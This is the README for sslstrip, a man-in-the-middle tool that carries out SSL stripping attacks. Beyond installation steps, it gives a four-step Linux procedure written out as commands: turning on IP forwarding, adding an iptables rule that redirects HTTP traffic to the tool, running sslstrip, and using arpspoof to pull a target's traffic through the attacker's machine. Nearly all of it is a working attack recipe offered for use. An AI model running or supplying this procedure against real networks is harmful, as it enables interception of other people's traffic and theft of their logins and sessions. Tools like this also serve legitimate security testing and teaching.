sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks. It requires Python 2.5 or newer, along with the 'twisted' python module. Installing: * Unpack: tar zxvf sslstrip-0.5.tar.gz * Install twisted: sudo apt-get install python-twisted-web * (Optionally) run 'python setup.py install' as root to install, or you can just run it out of the directory. Running: sslstrip can be run from the source base without installation. Just run 'python sslstrip.py -h' as a non-root user to get the command-line options. The four steps to getting this working (assuming you're running Linux) are: 1) Flip your machine into forwarding mode (as root): echo "1" > /proc/sys/net/ipv4/ip_forward 2) Setup iptables to intercept HTTP requests (as root): iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <yourListenPort> 3) Run sslstrip with the command-line options you'd like (see above). 4) Run arpspoof to redirect traffic to your machine (as root): arpspoof -i <yourNetworkdDevice> -t <yourTarget> <theRoutersIpAddress> More Info: http://www.thoughtcrime.org/software/sslstrip/
